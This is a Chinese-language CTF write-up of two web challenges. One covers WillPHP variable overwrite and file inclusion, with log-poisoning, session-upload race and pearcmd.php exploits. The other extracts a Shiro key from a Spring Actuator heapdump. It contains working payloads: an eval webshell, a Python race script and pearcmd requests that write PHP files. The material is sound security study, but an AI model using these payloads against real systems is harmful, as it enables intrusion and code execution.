Web EasyWill 本地复现准备 打开题目的话,是一个WillPHP的框架,版本号为2.1.5。于是去码云下载了整个框架的代码,并修改IndexController
的源代码,使其与题目一致。
整个题目实际上考察的是框架漏洞,因此修改的部分不多,修改的为文件为app/controller/IndexController.php
,将其中的内容修改为:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php namespace home \controller ;class IndexController { public function index ( ) { highlight_file (__FILE__ ); assign ($_GET ['name' ], $_GET ['value' ]); return view (); } }
源代码审计 一开始还以为是一个模板注入,后来大致弄明白了框架的一个思想,发现并不是模板注入。
直接开始分析步骤,首先,对于assign函数,跟进可以看到:
1 2 3 function assign ($name , $value = null ) { \wiphp\View ::assign ($name , $value ); }
显然只是一个套娃,其实质是位于名空间wiphp
下的View
类的静态assign
函数,再次跟进可以得到:
1 2 3 4 5 6 class View { private static $_vars = []; public static function assign ($name , $value = NULL ) { if ($name != '' ) self ::$_vars [$name ] = $value ; } }
到此处,该函数执行完成,其作用只是将传入的参数与值存放如静态的_vars
变量中。
随后再看下面的view
函数,跟进,依旧是套娃:
1 2 3 function view ($file = '' , $vars = [] ) { return \wiphp\View ::fetch ($file , $vars ); }
再跟进,得到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 class View { private static $_vars = []; public static function assign ($name , $value = NULL ) { if ($name != '' ) self ::$_vars [$name ] = $value ; } public static function fetch ($file = '' , $vars = [] ) { if (!empty ($vars )) self ::$_vars = array_merge (self ::$_vars , $vars ); define ('__THEME__' , C ('theme' )); define ('VPATH' , (THEME_ON)? PATH_VIEW.'/' .__THEME__ : PATH_VIEW); $path = __MODULE__; if ($file == '' ) { $file = __ACTION__; } elseif (strpos ($file , ':' )) { list ($path ,$file ) = explode (':' , $file ); } elseif (strpos ($file , '/' )) { $path = '' ; } if ($path == '' ) { $vfile = VPATH.'/' .$file .'.html' ; } else { $path = strtolower ($path ); $vfile = VPATH.'/' .$path .'/' .$file .'.html' ; } if (!file_exists ($vfile )) { App ::halt ($file .' 模板文件不存在。' ); } else { define ('__RUNTIME__' , App ::getRuntime ()); array_walk_recursive (self ::$_vars , 'self::_parse_vars' ); \Tple ::render ($vfile , self ::$_vars ); } } private static function _parse_vars (&$value , $key ) { $value = stripslashes ($value ); } }
此时看View
类的fetch
函数,上面的都是预处理file
参数的过程,直到最后一个过程,如果模板文件存在的话,则调用类Tple
的渲染函数render
。此时再次跟进Tple::render
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public static function render ($vfile , $_vars = [] ) { $shtml_open = C ('shtml_open' ); if (!$shtml_open || basename ($vfile ) == 'jump.shtml' ) { self ::renderTo ($vfile , $_vars ); } else { $params = http_build_query (I ()); $sfile = md5 (__MODULE__.basename ($vfile ).$params ).'.shtml' ; $sfile = PATH_SHTML.'/' .$sfile ; $ntime = time (); $shtml_time = max (10 , intval (C ('shtml_time' ))); if (is_file ($sfile ) && filemtime ($sfile ) > ($ntime - $shtml_time )) { include $sfile ; } else { ob_start (); self ::renderTo ($vfile , $_vars ); $content = ob_get_contents (); file_put_contents ($sfile , $content ); } } }
进入该函数后,首先使用C
函数获取配置,如果不存在shtml_open
配置的话,则调用本身的renderTo
函数,该框架默认无该配置,因此会直接进入renderTo
函数,此时再次跟进:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public static function renderTo ($vfile , $_vars = [] ) { $m = strtolower (__MODULE__); $cfile = 'view-' .$m .'_' .basename ($vfile ).'.php' ; if (basename ($vfile ) == 'jump.html' ) { $cfile = 'view-jump.html.php' ; } $cfile = PATH_VIEWC.'/' .$cfile ; if (APP_DEBUG || !file_exists ($cfile ) || filemtime ($cfile ) < filemtime ($vfile )) { $strs = self ::comp (file_get_contents ($vfile ), $_vars ); file_put_contents ($cfile , $strs ); } extract ($_vars ); include $cfile ; }
进入renderTo
函数后,可以看到,程序简单的拼接了cfile
,然后如果未渲染成实际PHP文件时,进行编译渲染,并将渲染后的文件存储,接下来直接将传入的变量_vars
解压,接着包含了cfile
。
在这里可以明显发现一个漏洞,即,如果_vars
中如果有键为cifle
,此时将对cfile
变量进行覆盖,从而进行恶意文件包含。
再注意到,assign
函数进行分发时,修改了静态变量_vars
,因此,可以判断,如果传入参数name=cfile
,value=$FILE
可以构成任意文件包含。
尝试传入:
1 name=cfile&value=php://filter/read=convert.base64-encode/resource=index.php#
成功返回index.php
的内容,说明确实存在变量覆盖,这样可以确定题目存在文件包含。
无上传文件包含 那么接下来就是考虑如何使用这个文件包含让我们拿到Flag。
首先,可以确定题目无上传点,那么,这种情况下,可以考虑哪些利用方式呢?(参考:Docker PHP裸文件本地包含综述 - 跳跳糖 (tttang.com) )
日志文件包含
phpinfo条件竞争
Windows下的通配符妙用
session.upload_progress与Session文件包含
pearcmd.php的利用(Docker)
日志文件包含 这种利用方式简单粗暴,只要中间件与PHP-FPM在同一宿主机上,那么这样PHP就可以读取中间件的日志,不妨以nginx为例,其日志默认存储于/var/log/nginx/access.log
和/var/log/nginx/error.log
,此时我们可以发送请求:
1 http://website.com/?code=<?php%20eval($_REQUEST[x]);?>
此时,nginx将把此条记录记录到成功或错误日志下,这个时候再包含该日志文件既可以执行恶意代码。
但是在此题不可这么做,因为这是Docker环境,观察官方PHP Docker镜像的Dockerfile,可以发现:
1 2 3 4 ln -sfT /dev/stderr "$APACHE_LOG_DIR/error.log" ; \ ln -sfT /dev/stdout "$APACHE_LOG_DIR/access.log" ; \ ln -sfT /dev/stdout "$APACHE_LOG_DIR/other_vhosts_access.log" ; \
Docker将所有日志文件全部重定向到了标准流,这样子我们自然没有办法包含了。
phpinfo条件竞争 这种情况下,我们需要找到一个phpinfo的页面。
由于PHP不论是否有处理$_FILE
的逻辑,PHP都将先把用户上传的数据先存放到一个临时文件,在整个PHP脚本执行完成后,这个临时文件将被删除。
从大佬那里拷贝的生命周期图片:
所以,如果有一个地方能获取到文件名,例如phpinfo(输出所有请求信息,包括$_FILES
),这样就能获取到临时文件名了。
在此基础上,再运用条件竞争,不断的上传文件并且拿到临时文件名,然后不断地尝试包含这个文件。
具体脚本见:https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
Windows下通配符妙用 在Linux中,存在通配符,在Windows中也有通配符。
此处直接粘贴出不常见的通配符:
1 2 3 #define DOS_STAR (L'<' ) #define DOS_QM (L'>' ) #define DOS_DOT (L'"' )
即:
DOS_STAR,字符<
,匹配0个以上的字符
DOS_QM,字符>
,匹配一个字符
DOS_DOT,字符"
,匹配点号
因此,如果PHP运行在Windows系统上的话,其临时文件夹为C:\Windows\Temp\
,可以知道的是PHP临时文件的文件名为php加六个随机字符。
因此匹配的通配符为:
根据作者的话来说,Windows一些内部不太明确的原因,需要两个<
进行匹配。
这题显然也不行,题目是基于Docker的环境。
session.upload_progress与Session文件包含 如果PHP配置中启用了session.upload_progress.enable
,那么此种方式大概率可利用。
根据PHP官方文档解释,PHP为了能提供文件上传的进度等信息,将会把上传的文件信息存入Session文件,因此,精心构造文件信息时,我们就能向Session文件插入PHP代码,从而再包含Session即可执行恶意代码。
通过自己设置Cookie中的PHPSESSID,可以使得PHP在临时目录下创建一个控的Session文件,其文件名为/tmp/sess_{PHPSESSID}
。
然后再考虑,不断的上传文件,然后包含SESSION文件。
由于Session文件名可控,这一个条件竞争相对来说比较简单,还是大佬的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import threadingimport requestsfrom concurrent.futures import ThreadPoolExecutor, waittarget = 'http://192.168.1.162:8080/index.php' session = requests.session() flag = 'helloworld' def upload (e: threading.Event ): files = [ ('file' , ('load.png' , b'a' * 40960 , 'image/png' )), ] data = {'PHP_SESSION_UPLOAD_PROGRESS' : rf'''<?php file_put_contents('/tmp/success', '<?=phpinfo()?>'); echo('{flag} '); ?>''' } while not e.is_set(): requests.post( target, data=data, files=files, cookies={'PHPSESSID' : flag}, ) def write (e: threading.Event ): while not e.is_set(): response = requests.get( f'{target} ?file=/tmp/sess_{flag} ' , ) if flag.encode() in response.content: e.set () if __name__ == '__main__' : futures = [] event = threading.Event() pool = ThreadPoolExecutor(15 ) for i in range (10 ): futures.append(pool.submit(upload, event)) for i in range (5 ): futures.append(pool.submit(write, event)) wait(futures)
pearcmd.php的利用 条件竞争其实都应该很熟悉了,但是对于pearcmd.php
的利用应该大家都还不是很熟悉,这次看到大佬的文章后确实是又涨姿势了。
pecl是PHP的拓展管理命令行工具,pear则是pecl的依赖库。在Docker中,该工具被默认安装,且路径为/usr/local/lib/php
。
由于设计之初就没有想到将该工具用于Web服务,故没有考虑其安全隐患,但是如果后端存在任意文件包含的话,这就使得该工具可以作为一个突破点。
具体的分析过程见大佬博客,大意是PHP由于没有严格的按照RFC来处理query-string,使得我们即使传入包含等于号的query-string时,这个值也将被赋值给$_SERVER['argv']
,而pear
中获取命令的函数如果找不到$argv
时,则会尝试$_SERVER['argv']
,这也就是说我们可以通过Web的query-string来控制命令行参数。
对于此题而言,请求为:
1 GET /?name=cfile&value=/usr/local/lib/php/pearcmd.php&+config-create+/&/<?=show_source('/ffffffff14ggggggg3')?>+/tmp/hello.php
发送这个数据包就会在/tmp
下创建一个hello.php
,其内容包含了读取Flag的代码。
随后,请求:
1 GET /?name=cfile&value=/tmp/hello.php
即可拿到Flag。
Pentest in Autumn
题目好像有点问题,不知道是部署的时候特意这么做的还是意外了,访问actuator时要加prefix=/;
,不然就会爆容器不存在,请重新下发,感觉是平台的锅。
根据题目放出的pom文件,可以看到有Shiro以及Actuator:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 <?xml version="1.0" encoding="UTF-8" ?> <project xmlns ="http://maven.apache.org/POM/4.0.0" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd" > <modelVersion > 4.0.0</modelVersion > <parent > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-parent</artifactId > <version > 2.5.4</version > <relativePath /> </parent > <groupId > com.demo</groupId > <artifactId > demo</artifactId > <version > 0.0.1-SNAPSHOT</version > <name > demo</name > <description > Demo project for Spring Boot</description > <properties > <java.version > 1.8</java.version > </properties > <dependencies > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter</artifactId > </dependency > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-actuator</artifactId > <version > 2.2.2.RELEASE</version > </dependency > <dependency > <groupId > org.apache.shiro</groupId > <artifactId > shiro-core</artifactId > <version > 1.5.0</version > </dependency > <dependency > <groupId > org.apache.shiro</groupId > <artifactId > shiro-spring</artifactId > <version > 1.5.0</version > </dependency > <dependency > <groupId > org.apache.shiro</groupId > <artifactId > shiro-ehcache</artifactId > <version > 1.5.0</version > </dependency > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-test</artifactId > <scope > test</scope > </dependency > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-web</artifactId > <version > 2.5.4</version > <scope > compile</scope > </dependency > </dependencies > <build > <plugins > <plugin > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-maven-plugin</artifactId > </plugin > </plugins > </build > </project >
可以看到Shiro=1.5.0
,并且有Actuator
。
发现Actuator可以不授权访问,并且可以下载JVM的HeapDump,下载下来使用VisualVM打开查看:
在VisualVM中过滤,条件为:CookieRememberMeManager
,
可以得到一个该类的Object的Dump:
到这里实际拿到了Shiro RememberME的密钥,解码脚本:
1 2 3 4 5 import base64import structstr = base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb' ,-24 ,-66 ,-58 ,86 ,126 ,112 ,126 ,-29 ,70 ,76 ,65 ,-35 ,5 ,76 ,17 ,-55 ))print (str )
然后使用Shiro-Attack工具利用CommonsBeanutils1反序列化利用链就可以直接一键式操作的GetShell了。